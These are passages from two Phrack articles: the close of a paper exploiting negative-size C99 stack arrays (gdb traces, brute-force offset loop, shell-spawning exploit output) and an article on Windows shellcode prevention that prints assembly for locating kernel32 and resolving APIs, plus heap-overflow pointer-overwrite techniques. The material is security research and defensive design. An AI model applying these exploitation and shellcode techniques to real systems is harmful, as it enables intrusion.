to make it subtract by.
delta = 0xbffff86c - 0xbffff850
delta = 28
We need to subtract 12 from our delta value because of the
instruction at 0x08048410 (lea 0xc(%esp),%ebx) so we end up with 16.
If the adjusted delta was less than 16 we would end up overwriting
0xbffff85c, due to the paragraph alignment. Depending what is in
that memory location denotes how useful it is. In this particular
case its not. If we could write more than 4 bytes, it could be
useful.
When we set -16 AAAA as the arguments to dmeiswrong, we get:
andrewg@supernova:~/papers/straws$ gdb -q ./dmeiswrong
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) set args -16 AAAA
(gdb) r
Starting program: /home/andrewg/papers/straws/dmeiswrong -16 AAAA
sizeof(x): -16
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Based with the above information, an exploit can be written for
dmeiswrong.c. See the attached file iyndwacyndwm.c for more
information.
The attached exploit code (iyndwacyndwm.c) works on my system
(gcc version: Debian 1:3.3.5-8ubuntu2, kernel: Linux supernova
2.6.10-5-686 #1 Fri Jun 24 17:33:34 UTC 2005 i686 GNU/Linux) with
success.
It may fail on the readers machine due to different initial stack
layout, and different compiler options / generated code. You may
need to play a bit with gdb a bit to get it working. However, this
technique should work fine for other people, they may just need to
play around a bit to get it working as expected.
To get it working for your system, have a look at what causes a
segfault (this can be achieved with a simple
"for i in `seq 0 -4 -128` ; do ./dmeiswrong $i AAAA ; done"
loop and seeing if the offset segfaults. The attached Makefile
implements this loop for you when you type make bf. You can then
replay the offset and args in GDB to see if EIP is pointing to
0x41414141.
Then its a matter of getting the stack layout correct for so the
exploit will run. In the included exploit, I've made it so it
tries to determine the exact offset to where the shellcode starts.
This technique is further explained in [2]. Otherwise, this
technique could be done via examining the heap layout at "_start"
(entry point of the executable) and looking at what is in memory
from the top, and seeing the offset, as its quite possible that
things have been moved around during different kernel releases.
In order to make it easier for people to play around with this
technique, I've included a precompiled dmeiswrong and iyndwacyndwm
files, which hopefully demonstate the problem. If iyndwacyndwm
does not work for you, try iyndwacyndwm-lame which tries the
standard "pick an offset from some value (like esp)" technique to
try and gain code execution on the host.
I haven't performed a wide scale test against vulnerable compilers,
but due to the code construct compilers would be most likely to
emit, I suspect a majority of compilers which support variable
sized stack arrays to be vulnerable. Thos which wouldn't be
vulnerable would be those which include code to verify if this is
not a problem during runtime.
Exploitability of this type of bug appears to be feasible on other
architectures, such as PPC, as I was able to get it to crash with
$pc being something not of my choice. (such as, 0x6f662878, and
sometimes $pc would be pointing at an invalid instruction on the
stack). This was done via just incrementing the value passed as
the len by 4 in a loop. Make bf should point out the exploitable
architectures as they should crash (eventually.)
I didn't have enough time to look into this further as the time to
submit the final paper drew to close, and PPC assembly and MacOSX
are not my strongest skills.
--[ 4.1 - Requirements for exploitability
In order for an architecture / Operating System to be exploitable,
the architecture needs to support having a stack which can be moved
about. If the stack contains embedded flow control information,
such as saved return addresses, it makes it significantly easier
to exploit, and partially less dependant on what value the stack
pointer contains. This in turn increases reliability in exploits,
especially remote ones.
Additionally, the compiler needs to:
- support variable sized stack arrays (which as demonstrated above,
is a feature of the C99 standard)
- not emit code that performs sanity checking of the changed stack
pointer. It is forseeable that if this issue gets a lot of public
attention, that various compiler security patches (such as
pro-police, stackguard, so fourth) will add detection of this
issue.
The direction the stack grows is not that relevant to the problem,
as if the x86 stack grew upwards, the instruction at 0x804840e,
would be written as addl %eax, %esp, and given the parameter len
as -16 would could be rewritten as subl $16, %esp, which would
allow access to the saved eip and saved frame pointer, amongst
other things.
The attached Makefile has a "bf" option which should allow you
to test if your architecture is vulnerable. In order to make this
work as expected, you'll need to supply the top of the stack for
your architecture, and a proper shellcode. A recommended test
shellcode is the trap instruction (int3 on x86, trap on ppc) which
generates a particular signature when the code is executed.
The output from the make bf command on my laptop is as follows:
andrewg@supernova:~/papers/straws/src$ make bf
for i in `seq 0 -4 -256` ; do ./iyndwacyndwm-lame $i ; done
sizeof(x): 0
sizeof(x): -4
sizeof(x): -8
sizeof(x): -12
sizeof(x): -16
sh-3.00$ exit
sizeof(x): -20
sh-3.00$ exit
sizeof(x): -24
sh-3.00$ exit
sizeof(x): -28
sh-3.00$ exit
sizeof(x): -32
/bin/sh: line 1: 16640 Segmentation fault ./iyndwacyndwm-lame $i
sizeof(x): -36
[ snipped a bunch of Segmentation fault messages ]
/bin/sh: line 1: 16648 Floating point exception./iyndwacyndwm-lame $i
sizeof(x): -68
/bin/sh: line 1: 16649 Floating point exception./iyndwacyndwm-lame $i
sizeof(x): -72
[ snipped a bunch of Floating point exception messages and segv ]
andrewg@supernova:~/papers/straws/src$
The make bf-trap command generates the following output:
for i in `seq 0 -4 -256` ; do ./iyndwacyndwm-lame-trap $i ; done
sizeof(x): 0
sizeof(x): -4
sizeof(x): -8
sizeof(x): -12
sizeof(x): -16
/bin/sh: line 1: 16983 Trace/breakpoint trap ./iyndwacyndwm-lame-trap $i
sizeof(x): -20
/bin/sh: line 1: 16984 Trace/breakpoint trap ./iyndwacyndwm-lame-trap $i
sizeof(x): -24
--[ 5 - Links
[1] http://www.eduplace.com/math/mathsteps/6/b/
[2] http://packetstorm.linuxsecurity.com/groups/netric/envpaper.pdf
--[ 6 - Finishing up
I'd like to greet all of the felinemenace people ((in no particular order)
nevar, nemo, mercy, ash, kwine, jaguar, circut, nd and n00ne), along with
pulltheplug people, especially arcanum.
Random greets to dme, caddis, Moby for his visual basic advice while
discussing this problem at the pub, and zen-parse.
It kinda goes without saying, but I'd like to thank all the people who have
supplied feedback for my article.
[ Need a challenge ? ]
[ Visit http://www.pulltheplug.org ]
[ Want to visit Australia and want a reason? ]
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|=[ EOF ]=---------------------------------------------------------------=|
begin 644 src.tar.gz
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`
end
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x0f of 0x14
|=---------------------------------------------------------------------=|
|=---------------=[ NT shellcodes prevention demystified ]=------------=|
|=---------------------------------------------------------------------=|
|=---------------=[by Piotr Bania <bania.piotr@gmail.com>]=------------=|
What was alive is now dead;
all that was beautiful
is now the ugliness of devastation
And yet I do not altogether die
what is indestructible in me
remains!
- Karol Wojtya,
Sophie Arie in Rome
...this short thing is dedicated to You - R.I.P
...a glorious era has already ended.
--[ Contents
I. Introduction
II. Known protections
II.A - Hooking API functions and stack backtracing.
II.B - Security cookie authentication (stack protection)
II.C - Additional mechanisms - module rebasing
III. What is shellcode and what it "must do"
IV. Getting addresses of kernel/needed functions - enemy study
IV.A - getting kernel address (known mechanisms)
IV.A.A - PEB (Process Environment Block) parsing
IV.A.B - searching for kernel in memory
IV.B - getting API addresses (known methods)
IV.B.A - export section parsing
IV.B.B - import section parsing
V. New prevention techniques
VI. Action - few samples of catched shellcodes
VII. Bad points (what you should know) - TODO
VIII. Last words
IX. Code
X. References
--[ I. Introduction
Nowadays there are many exploit prevention mechanisms for windows but each
of them can by bypassed (according to my information). Reading this
article keep in mind that codes and information provided here will
increase security of your system but it doesn't mean you will be
completely safe (cut&paste from condom box user manual).
--[ II. Known protections
Like I said before, today there exist many commercial prevention
mechanisms. Here we will get a little bit deeper inside of most common
ring3 mechanisms.
II.A Hooking API functions and stack backtracing
--------------------------------------------------
Many nowadays buffer overflows protectors are not preventing the buffer
overflow attack itself, but are only trying to detect running shellcode.
Such BO protectors usually hook API functions that usually are used by
shellcode. Hooking can be done in ring3 (userland) or kernel level (ring0,
mainly syscalls and native api hooking). Lets take a look at example of
such actions:
stack backtracing
-----------------
Lets check the NGSEC stack backtracing mechanism, now imagine a call was
made to the API function hooked by NGSEC Stack Defender.
So when a call to any of hooked APIs is done, the main Stack Defender
mechanism stored in proxydll.dll will be loaded by the hooked function
stored in .reloc section. Then following tests will be done:
Generally this comes up as params for the proxydll function (all of the
arguments are integers):
assume: argument 1 = [esp+0ch] - its "first" passed argument to the
function this is always equal to the stack address
0xC bytes from the ESP.
argument 2 = address from where hooked api was called
argument 3 = some single integer (no special care for this one)
argument 4 = stack address of given param thru hooked API call
MAIN STEPS:
- I. - execute VirtualQuery [1] on [esp+0Ch] (stack address)-LOCATION1
- II. - execute VirtualQuery [1] on call_ret address - LOCATION2
- III. - if LOCATION1 allocation base returned in one of the members of
MEMORY_BASIC_INFORMATION [2] is equal to the LOCATION2
allocation base then the call is comming for the stack space.
Stack Defender kills the application and reports attack probe to
the user. If not next step is executed.
- IV. - call IsBadWritePtr [3] on location marked as LOCATION2 (addres
of caller). If the API returns that location is writeable Stack
Defender finds it as a shellcode and kills the application. If
location is not writeable StackDefender executes the original
API.
hooking exported API functions
------------------------------
When module exports some function it means that it's making this fuction
usable for other modules. When such function is exported, PE file includes
an information about exported function in so called export section.
Hooking exported function is based on changing the exported function
address in AddressOfFunctions entry in the export section. The great and
one of the first examples of such action was very infamous i-worm.Happy
coded by french virus writter named as Spanska. This one hooks send and
connects APIs exported from WSOCK32.DLL in order to monitor all outgoing
messages from the infected machine. This technique was also used by one of
the first win32 BO protectors - the NGSEC's Stack Defender 1.10. The NGSEC
mechanism modifies the original windows kernel (kernel32.dll) and hooks
the following functions:
(the entries for each of the exported functions in EAT (Export Address
Table) were changed, each function was hooked and its address was
"repointed" to the .reloc section where the filtering procedure will
be executed)
- WinExec
- CreateProcessW
- CreateProcessA
- LoadLibraryExA
- LoadLibraryExW
- OpenFile
- CreateThread
- CreateRemoteThread
- GetProcAddress
- LoadModule
- CreateFileA
- CreateFileW
- _lopen
- _lcreat
- CopyFileA
- CopyFileW
- CopyFileExA
- CopyFileExW
- MoveFileA
- MoveFileExW
- LockFile
- GetModuleHandleA
- VirtualProtect
- OpenProcess
- GetModuleHandleW
- MoveFileWithProgressA
- MoveFileWithProgressW
- DeleteFileA
inline API hooking
------------------
This technique is based on overwritting the first 5 bytes of API function
with call or unconditional jump.
I must say that one of the first implementations of such "hooking"
technique (well i don't mean the API hooking method excatly) was described
by GriYo in [12]. The feature described by GriYo was named "EPO" -
"Entry-point Obscuring". Instead of changing the ENTRYPOINT of PE file [9]
GriYo placed a so called "inject",a jump or call to virus inside host code
but far away from the file entry-point. This EPO technique makes a virus
detection much much harder...
Of course the emulated bytes must be first known by the "hooker". So it
generally must use some disassembler engine to determine instructions
length and to check its type (i think you know the bad things can happen
if you try to run grabbed call not from native location). Then those
instructions are stored locally and after that they are simply executed
(emulated). After that the execution is returned to native location. Just
like the schema shows.
Inline API hooking feature is also present in Detours library developed
by Microsoft [4]. Here is the standard sample how hooked function looks
like:
BEFORE:
;----------SNIP--------------------------------------------
CreateProcesA: push ebp ; 1 bytes
mov ebp,esp ; 2 bytes
push 0 ; 2 bytes
push dword ptr [ebp+2c]
...
;----------SNIP--------------------------------------------
AFTER (SCHEMA):
;----------SNIP--------------------------------------------
CreateProcessA: jmp hooked_function
where_ret: push dword ptr [ebp+2c]
...
hooked_function: pushfd ; save flags
pushad ; save regs
call do_checks ; do some checks
popad ; load regs
popfd ; loadflags
push ebp ; emulation
mov ebp,esp ; of original
push 0 ; bytes
push offset where_ret ; return to
ret ; original func.
;----------SNIP--------------------------------------------
Such type of hooking method was implemented in Okena/CSA and Entercept
commercial mechanisms. When the hooked function is executed, BO prevention
mechanism does similiar checks like in described above.
However BO preventers that use such feature can be defeat easily. Because
I don't want to copy other phrack articles I suggest you looking at
"Bypassing 3rd Party Windows Buffer Overflow Protection" [5] (phrack#62).
It is a good article about bypassing such mechanisms.
II.B Security cookie authentication (stack protection)
--------------------------------------------------------
This technique was implemented in Windows 2003 Server, and it is very
often called as "build in Windows 2003 Server stack protection". In
Microsoft Visual C++ .NET Microsoft added a "/GS" switch (default on)
which place security cookies while generating the code. The cookie
(or canary) is placed on the stack before the saved return address
when a function is called. Before the procedure returns to the caller
the security cookie is checked with its "prototype" version
stored in the .data section. If the buffer overflow occurs the cookie
is overwritten and it mismatches with the "prototype" one. This is the
sign of buffer overflow.
Bypassing this example was well documented by David Litchfield so I
advice you to take a look at the lecture [6].
II.C Additional mechanisms - module rebasing
----------------------------------------------
When we talk about buffer overflow prevention mechanism we shouldn't
forget about so called "module rebasing". What is the idea of this
technique? Few chapters lower you have an example code from "searching for
kernel in memory" section, there you can find following variables:
;----------SNIP--------------------------------------------
; some of kernel base values used by Win32.ls
_kernells label
dd 077e80000h - 1 ;NT 5
dd 0bff70000h - 1 ;w9x
dd 077f00000h - 1 ;NT 4
dd -1
;----------SNIP--------------------------------------------
Like you probably know only these kernel locations in the table will be
searched, what happens if shellcode doesn't know the imagebase of
needed module (and all the search procedures failed)? Answer is easy
shellcode can't work and it quits/crashes in most cases.
How the randomization is done? Generally all PE files(.exe/.dlls etc. etc)
have an entry in the PE record (offset 34h) which contains the address
where the module should be loaded. By changing this value we are able to
relocate the module we want, of course this value must be well calculated
otherwise your system can be working incorrectly.
Now, after little overview of common protections we can study the
shellcode itself.
--[ III. What is shellcode and what it "must do"
For those who don't know: Shellcode is a part of code which does all the
dirty work (spawns a shell / drops trojans / bla bla) and it's a core of
exploit.
What windows shellcode must do? Lets take a look at the following sample
schema:
1) - getting EIP
2) - decoding loop if it's needed
3) - getting addresses of kernel/needed functions
4) - spawning a shell and all other dirty things
If you read assumptions (point II) and some other papers you will
probably know that there is no way to cut third point from shellcode
schema. Every windows shellcode must obtain needed data and that's a step
we will try to detect.
Of course shellcode may use the hardcoded kernel value or hardcoded API
values. That doesn't mean that shellcode will be not working, but
generally things get harder when attacker doesn't know the victim machine
(version of operating system - different windows = different kernel
addresses) or when the victim machine works with some protection levels
like image base rebasing. Generally hardcoding those values decreases the
success level of the shellcode.
--[ IV. Getting addresses of kernel/needed functions - enemy study
This chapter describes shortly most common methods used in shellcodes. To
dig more deeply inside the stuff I advice you to read some papers from the
Reference section
--[ IV.A - getting kernel address (known mechanisms)
IV.A.A - PEB (Process Environment Block) parsing
--------------------------------------------------
PEB (Process Environment Block) parsing - the following method was first
introduced by the guy called Ratter [7] from infamous 29A group. By
parsing the PEB_LDR_DATA we can obtain information about all currently
loaded modules, like following example shows:
;----------SNIP--------------------------------------------
mov eax,dword ptr fs:[30h] ; EAX is now PEB base
mov eax,dword ptr [eax+0ch] ; EAX+0Ch = PEB_LDR_DATA
mov esi,dword ptr [eax+1ch] ; get the first entry
mov ebx,[esi+08h] ; EBX=ntdll imagebase
module_loopx:
lodsd
mov ebx,[eax+08h] ; EBX=next dll imagebase
test ebx,ebx
jz @last_one_done
int 3
mov esi,eax ; continue search
jmp module_loopx
;----------SNIP---------------------------------------------
IV.A.B - searching for kernel in memory
-----------------------------------------
searching for kernel in memory - this example scans/tries different kernel
locations (for different windows versions) and searches for MZ and PE
markers, the search progress works together with SEH frame to avoid access
violations.
Here is the example method (fragment of Win32.ls virus):
;----------SNIP--------------------------------------------
cld
lea esi,[ebp + offset _kernells - @delta] ; load the kernel
; array
@nextKernell:
lodsd ; load on base to EAX
push esi ; preserve ESI (kernel array location)
inc eax ; is this the last one ? (-1+1=0)
jz @bad ; seems so -> no kernel base matched
push ebp ; preserve EBP (delta handler)
call @kernellSEH ; check the loaded base
mov esp,[esp + 08h] ; restore the stack
@bad1:
pop dword ptr fs:[0] ; restore old SEH frame
pop eax ; normalize the stack
pop ebp ; load delta handle
pop esi ; go back to kernel array
jmp @nextKernell ; and check another base
@bad:
pop eax ; no kernel found, virus
jmp @returnHost ; returning to host
; some of kernel base values used by Win32.ls
_kernells label
dd 077e80000h - 1 ;NT 5
dd 0bff70000h - 1 ;w9x
dd 077f00000h - 1 ;NT 4
dd -1
@kernellSEH:
push dword ptr fs:[0] ; setup new SHE handler
mov dword ptr fs:[0],esp
mov ebx,eax ; EBX=imagebase
xchg eax,esi
xor eax,eax
lodsw ; get first 2 bytes from imagebase
not eax ; is it MZ?
cmp eax,not 'ZM' ; compare
jnz @bad1 ; it isn't check next base
mov eax,[esi + 03ch] ; MZ is found now scan for PE sign
add eax,ebx ; normalize (RVA2VA)
xchg eax,esi
lodsd ; read 4 bytes
not eax
cmp eax,not 'EP' ; is it PE?
jnz @bad1 ; nope check next base
pop dword ptr fs:[0] ; return (setup) old SEH
pop eax ebp esi ; clear stack
; EBX is now valid kernel base
;----------SNIP--------------------------------------------
--[ IV.B - getting API addresses (known methods)
IV.B.A - export section parsing
---------------------------------
export section parsing - when the module (usually kernel32.dll) base is
located, shellcode can scan export section and find some API functions
needed for later use. Usually shellcode is searching for GetProcAddress()
function address, then it is used to get location of the others APIs.
Following code parses kernel32.dll export section and gets address of
GetProcAddress API:
;----------SNIP--------------------------------------------
; EAX=imagebase of kernel32.dll
xor ebp,ebp ; zero the counter
mov ebx,[eax+3ch] ; get pe header
add ebx,eax ; normalize
mov edx,[ebx+078h] ; export section RVA
add edx,eax ; normalize
mov ecx,[edx+020h] ; address of names
add ecx,eax ; normalize
mov esi,[edx+01ch] ; address of functions
add esi,eax ; normalize
loop_it:
mov edi,[ecx] ; get one name
add edi,eax ; normalize
cmp dword ptr [edi+4],'Acor' ; is it GetP-rocA-ddress ?? :)
jne @l ; nope -> jump to @l
; yes it is
add esi,ebp ; add out counter
mov esi,[esi] ; get the address
add esi,eax ; normalize
int 3 ; ESI=address of GetProcAddress
@l:
add ecx,4 ; to next name
add ebp,4 ; update counter (dwords)
jmp loop_it ; and loop it again
;----------SNIP--------------------------------------------
IV.B.B - import section parsing
---------------------------------
import section parsing - 99% of hll applications import
GetProcAddress/LoadLibraryA, it means that their IAT (Import Address
Table) includes address and name string of the mentioned functions.
If shellcode "knows" the imagebase of target application it can easily
grab needed address from the IAT.
Just like following code shows:
;----------SNIP--------------------------------------------
;following example gets LoadLibraryA address from IAT
IMAGEBASE equ 00400000h
mov ebx,IMAGEBASE
mov eax,ebx
add eax,[eax+3ch] ; PE header
mov edi,[eax+80h] ; import RVA
add edi,ebx ; normalize
xor ebp,ebp
mov edx,[edi+10h] ; pointer to addresses
add edx,ebx ; normalize
mov esi,[edi] ; pointer to ascii strings
add esi,ebx ; normalize
@loop:
mov eax,[esi]
add eax,ebx
add eax,2
cmp dword ptr [eax],'daoL' ; is this LoadLibraryA?
jne @l
add edx,ebp ; normalize
mov edx,[edx] ; edx=address of
int 3 ; LoadLibraryA
@l:
add ebp,4 ; increase counter
add esi,4 ; next name
jmp @loop ; loop it
;----------SNIP--------------------------------------------
After this little introduction we can finally move to real things.
--[ V. New prevention techniques
While thinking about buffer overflow attacks I've noticed that methods
from chapter IV are most often used in shellcodes. And thats the thing
I wanted to prevent, I wanted to develop prevention technique which acts
in very early stage of shellcode execution and here are the results of
my work:
Why two Protty libraries / two techniques of prevention?
When I have coded first Protty (P1) library it worked fine except some
Microsoft products like Internet Explorer, Explorer.exe (windows manager)
etc. in thoose cases the prevention mechanisms eat all cpu.
I simply got nervous and I have rebuilt the mechanisms and that's how
second Protty (P2) library was born. Im describing them both because
everything that gives any bit of knowledge is worth describing :) Anyway
Im not saying the second one is perfect each solution got its bad and
good points.
What I have done - the protection features:
- protecting EXPORT section - protecting function addresses array
(any exe/dll library)
- IAT RVA killer (any exe/dll library)
- protecting IAT - protecting functions names array (any exe/dll library)
- protecting PEB (Process Environment Block)
- disabling SEH/Unhandled Exception Filter usage
- RtlEnterCrticialSection pointer protector
NOTE: All those needed pointers (IMPORT/EXPORT sections) are found in
similiar way like in IVth chapter.
FEATURE: EXPORT SECTION PROTECTION (protecting "function addresses array")
-------
Every shellcode that parses EXPORT section (mainly kernel32.dll one) want
to get to exported function addresses, and that's the thing I tried to
block, here is the technique:
Algorithm/method for mechanism used in Protty1 (P1):
---------------------------------------------------
1. Allocate enough memory to handle Address Of Functions table from
the export section.
Address of Function table is an array which cointains addresses
of exported API functions, like here for KERNEL32.DLL:
D:\>tdump kernel32.dll kernel32.txt & type kernel32.txt
(...snip...)
Name RVA Size
------------------ -------- --------
Exports 0006D040 00006B39
(...snip...)
Exports from KERNEL32.dll
942 exported name(s), 942 export addresse(s). Ordinal base is 1.
Ordinal RVA Name
------- -------- ----
0000 000137e8 ActivateActCtx
0001 000093fe AddAtomA
0002 0000d496 AddAtomW
0003 000607c5 AddConsoleAliasA
0004 0006078e AddConsoleAliasW
0005 0004e0a1 AddLocalAlternateComputerNameA
0006 0004df8c AddLocalAlternateComputerNameW
(...snip...)
Where RVA values are entries from Address of Functions table, so
if first exported symbol is ActivateActCtx, first entry of Address
of Function will be its RVA. The size of Address of Functions
table depends on number of exported functions.
All those IMPORT / EXPORT sections structures are very well
documented in Matt Pietrek, "An In-Depth Look into the Win32
Portable Executable File Format" paper [9].
2. Copy original addresses of functions to the allocated memory.
3. Make original function addresses entries writeable.
4. Erase all old function addresses.
5. Make erased function addresses entries readable only.
6. Update the pointer to Address of Functions tables and point it to our
allocated memory:
- Make page that contains pointer writeable.
- Overwrite with new location of Address of Function Table
- Make page that contains pointer readable again.
7. Mark allocated memory (new function addresses) as PAGE_NOACCESS.
We couldn't directly set the PAGE_NOACCESS protection to original
function addresses because some other data in the same page must be
also accessible (well SAFE_MEMORY_MODE should cover all cases even when
protection of original page was changed to PAGE_NOACCESS - however such
action increases CPU usage of the mechanism). The best way seems to be
to allocate new memory region for it.
What does the PAGE_NOACCESS protection? :
- PAGE_NOACCESS disables all access to the committed region of pages.
An attempt to read from, write to, or execute in the committed region
results in an access violation exception, called a general protection
(GP) fault.
Now all references to the table with function addresses will cause an
access violation exception, the description of the exception checking
mechanism is written in next chapter ("Description of mechanism
implemented in ...").
Just like the schema shows (A. - stands for "address"):
--- SNIP --- START OF SCHEMA. 1a
SOME PE MODULE
------------------
| export section |
|------------------|
| start | + imagebase
| (...) | -----------> OLD ARRAY WITH FUNCTIONS ADDRS
|------------------| |
| NUMBER OF NAMES | |
|------------------|BEFORE^| AFTER>
| A. OF FUNCTIONS |-------------------
|------------------| + --//-- |
| A. OF NAMES | | (NEWLY ALLOCATED MEMORY)
|------------------| -> NEW ARRAY WITH FUNCTIONS ADDRS
| A. OF ORDINALS | |
|------------------| -----------------
| (...) | | function 1 addr | / PAGE
| end | | function 2 addr |- NO
------------------ | ... | \ ACCESS
----------------- RIGHTS
ALL FUNCTION ADDRESSES IN OLD ARRAY
WERE PERMANENTLY OVERWRITTEN WITH NULL!
--- SNIP --- END OF SCHEMA. 1a
Algorithm/method for mechanism used in Protty2 (P2):
---------------------------------------------------
1. Allocate enough memory to handle Address Of Functions table from
the export section.
2. Copy original addresses to the allocated memory.
3. Make original function addresses entries writeable.
4. Erase all old function addresses.
5. Make erased function addresses entries readable only.
6. Make pointer to Address Of Functions writeable.
7. Allocate small memory array for decoy (with PAGE_NOACCES rights).
8. Write entry to protected region lists.
8. Update the pointer to Address Of Functions and point it to our
allocated decoy.
9. Update protected region list (write table entry)
10.Make pointer to Address Of Function readable only.
--- SNIP --- START OF SCHEMA. 1b
SOME PE MODULE
------------------
| export section |
|------------------|
| start | + imagebase
| (...) | -----------> OLD ARRAY WITH FUNCTIONS ADDRS
|------------------| |
| NUMBER OF NAMES | |
|------------------|BEFORE^| AFTER>
| A. OF FUNCTIONS |-------------------
|------------------| + --//-- |
| A. OF NAMES | | ------------ /PAGENOACCESS
|------------------| -> | DECOY |- RIGHTS
| A. OF ORDINALS | ------------ \
|------------------|
| (...) | Somewhere in memory:
| end | (allocated memory with functions
------------------ address entries):
||
-----------------
| function 1 addr |
| function 2 addr |
| ... |
-----------------
ALL FUNCTION ADDRESSES IN OLD ARRAY
WERE PERMANENTLY OVERWRITTEN WITH NULL!
--- SNIP --- END OF SCHEMA. 1b
What have I gained by switching from the first method (real arrays) to the
second one (decoys)?
The answer is easy. The first one was pretty slow solution (all the time i
needed to deprotect the region and protect is again) in the second one i
don't have to de-protect and protect the real array, the only thing i need
to do is update the register value and make it point to the orginal
requested body.
FEATURE: IMPORT SECTION PROTECTION (protecting "functions names array" +
------- IAT RVA killer)
IAT RVA killer mechanism for both Protty1 (P1) and Protty2 (P2)
---------------------------------------------------------------
All actions are similar to those taken in previous step, however here we
are redirecting IMPORTS function names and overwriting IAT RVA (with
pseudo random value returned by GetTickCount - bit swapped).
And here is the schema which shows IAT RVA killing:
--- SNIP --- START OF SCHEMA. 2
SOME PE MODULE
------------------
| NT HEADER |
|------------------|
| start | + imagebase
| (...) | ------------> MODULE IMPORT SECTION
|------------------| |
| EXPORT SIZE | |
|------------------| BEFORE^| AFTER>
| IMPORT RVA |---------------------> NO EXISTING LOCATION (*)
|------------------| + --//--
| IMPORT SIZE |
|------------------|
| (...) |
| end |
------------------
(*) - the IMPORT RVA is overwritten with value returned by GetTickCount
swaped one time, generally it's kind of idiotic action because
many of you can assume such operation can give a drastic effect
with application stability. Well you are wrong, overwritting the
IMPORT RVA >after< successful loading of any pe module has no
right to cause instability (atleast it worked in my case, remeber
this is windows and you are messing a lot ...)
--- SNIP --- END OF SCHEMA. 2
And here's the one describing protecting "functions names array", for
Protty1 (P1):
--- SNIP --- START OF SCHEMA. 3a
SOME PE MODULE
------------------
| import section | +blabla
|------------------| ----------> ARRAY OF FUNCTION NAMES
| start | |
| (...) | |
|------------------| BEFORE^ | AFTER>
| A. OF NAMES |----------------------> (NEWLY ALLOCATED MEMORY)
|------------------| +blabla NEW ARRAY OF FUNCTION NAMES
| (...) | |
| end | -----------------
------------------ | "Function1",0 |/ PAGE
| "Function2",0 |- NO
| "Function3",0 |\ ACCESS
----------------- RIGHTS
ALL NAMES IN OLD NAMES OF FUNCTIONS ARRAY
WERE PERMANENTLY OVERWRITTEN BY NULL
NOTE: I have choosed Address Of Names array, because it is much less
accessed memory region than Address Of Functions array - so
less CPU consumption (but bit more unsecure - you can do it
yourself).
--- SNIP --- END OF SCHEMA. 3a
And here's the one describing protecting "functions names array", for
Protty1 (P2):
--- SNIP --- START OF SCHEMA. 3b
SOME PE MODULE
------------------
| import section | +blabla
|------------------| ----------> ARRAY OF FUNCTION NAMES
| start | |
| (...) | |
|------------------| BEFORE^ | AFTER> ------------- / PAGE
| A. OF NAMES |----------------------> | DECOY |-NO ACCESS
|------------------| +blabla ------------- \ RIGHTS
| (...) |
| end |
------------------ Somewhere in memory:
(allocated memory with original
function names):
||
-----------------
| "Function1",0 |
| "Function2",0 |
| "Function3",0 |
-----------------
ALL NAMES IN OLD NAMES OF FUNCTIONS ARRAY
WERE PERMANENTLY OVERWRITTEN BY NULL
--- SNIP --- END OF SCHEMA. 3b
FEATURE: PEB (Process Environment Block) protection (PEB_LDR_DATA)
-------
Algorithm/method for mechanism used in Protty1 (P1):
---------------------------------------------------
1. Get PEB_LDR_DATA [7] structure location
2. Update the region list
3. Mark all PEB_LDR_DATA [7] structure as PAGE_NO_ACCESS
--- SNIP --- START OF SCHEMA. 4a
------------------
| PEB_LDR_DATA |\
| .... |---- NOW MARKED WITH PAGE_NOACCESS.
| .... |/
------------------
--- SNIP --- END OF SCHEMA. 4a
Algorithm/method for mechanism used in Protty2 (P2):
---------------------------------------------------
1. Get InInitializationOrderModuleList [7] structure location
2. Write table entry (write generated faked address)
3. Write table entry (write original location of InInitOrderML...)
4. Change the pointer to InInitializationOrderModuleList, make it
point to bad address.
Here is the schema (ML stands for ModuleList):
--- SNIP --- START OF SCHEMA. 4b
[PEB_LDR_DATA]:
------------------
| Length |
|------------------|
| Initialized |
|------------------| --------------------------
| SsHandle | |LIST_ENTRY InInit.OrderML |
|------------------| .--------> | |
| InLoadOrderML | | --------------------------
|------------------| |
| InMemoryOrderML | |
|------------------| BEFORE^ | AFTER>
| InInit.OrderML |--------------------> RANDOM MINUS VALUE
|------------------| (not existing location)
------------------
NOTE: why MINUS VALUE? Generally I choose minus one because there
is no minus valid location and this will generate a exception
for sure, anyway this value can be changed and we can add a DECOY
memory area like in upper cases (but in this case region size
should be bigger). Minus value can be used for shellcodes to
find protection occurency - however if anybody wanna play...
--- SNIP --- END OF SCHEMA. 4b
FEATURE: Disabling SEH / Unhandled Exception Filter pointer usage.
-------
Description for both Protty1 (P1) and Protty 2 (P2)
---------------------------------------------------
Every time access violation exception occurs in protected program,
prevention mechanism tests if the currently active SEH frame points
to writeable location, if so Protty will stop the execution.
If UEF_HEURISTISC is set to TRUE (1) Protty will check that actual
set Unhandled Exception Filter starts with prolog (push ebp/mov ebp,esp)
or starts with (push esi/mov esi,[esp+8]) otherwise Protty will kill
the application. After this condition Protty checks that currently
active Unhandled Exception Filter is writeable if so application
is terminated (this also stands out for the default non heuristisc
mode).
Why UEF? Unhandled Exception Filter is surely one of the most used
methods within exploiting windows heap overflows. The goal of this
method is to setup our own Unhandled Filter, then when any unhandled
exception will occur attackers code can be executed. Normally attacker
tries to set UEF to point to call dword ptr [edi+78h], because
78h bytes past EDI there is a pointer to the end of the buffer.
To get more description of this exploitation technique check point [8]
from Reference section.
NOTE: Maybe there should be also a low HEURISTICS mode with
jmp dword ptr [edi+78h] / call dword ptr [edi+78h] occurency
checker, however the first one covers them all.
FEATURE: RtlEnterCrticialSection pointer protector
-------
Description for both Protty1 (P1) and Protty 2 (P2)
---------------------------------------------------
Like in above paragraph, library checks if pointer to
RtlEnterCriticalSection pointer has changed, if it did, prevention
library immediately resets the original pointer and stops the program
execution.
RtlEnterCritical pointer is often used in windows heap overflows
exploitation.
Here is the sample attack:
(sample scenerio of heap overflow)
;----------SNIP--------------------------------------------
; EAX, ECX are controled by attacker
; assume:
; ECX=07FFDF020h (RtlEnterCrticialSection pointer)
; EAX=location where attacker want to jump
mov [ecx],eax ; overwrites the pointer
mov [eax+0x4],ecx ; probably causes access
; violation
; if so the execution is
; returned to "EAX"
;----------SNIP--------------------------------------------
You should also notice that even when the access violation will not
occur it doesn't mean attackers code will be not excuted.
Many functions (not directly) are calling RtlEnterCriticalSection
(the address where 07FFDF020h points), so attacker code can be
executed for example while calling ExitProcess API. To find more
details on this exploitation technique check point [10] from Reference
section.
FEATURE: position independent code, running in dynamicaly allocated memory
-------
Protty library is a position independent code since it uses so called
